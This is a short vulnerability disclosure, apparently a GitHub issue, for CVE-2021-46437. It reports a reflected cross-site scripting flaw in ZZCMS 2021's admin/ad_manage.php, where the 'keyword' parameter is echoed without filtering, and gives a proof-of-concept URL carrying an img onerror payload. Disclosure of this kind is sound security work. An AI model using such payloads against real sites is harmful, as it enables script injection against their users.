Headline
CVE-2021-46437: ZZCMS2021 has a xss vulnerability · Issue #2 · xunyang1/ZZCMS
An issue was discovered in ZZCMS 2021. There is a cross-site scripting (XSS) vulnerability in ad_manage.php.
ZZCMS2021_XSS_1****PoC by rerce&rpsate****ZZCMS the lastest version download page :
http://www.zzcms.net/about/6.html
software link: https://github.com/Boomingjacob/ZZCMS/raw/main/zzcms2021.zip
Environmental requirements
PHP version > = 4.3.0
Mysql version>=4.0.0
vulnerability code:
In the file admin/ad_manage.php line 18.The variable $keyword can be controlled by the $_REQUEST['keyword'],then output on line 32 and it not be filtered.
POC:
- First log in to the administrator account.
- Visit
http://your-ip/admin/ad_manage.php?keyword=a"><img src=1 onerror='alert(1)'/><". - you will see a popup.
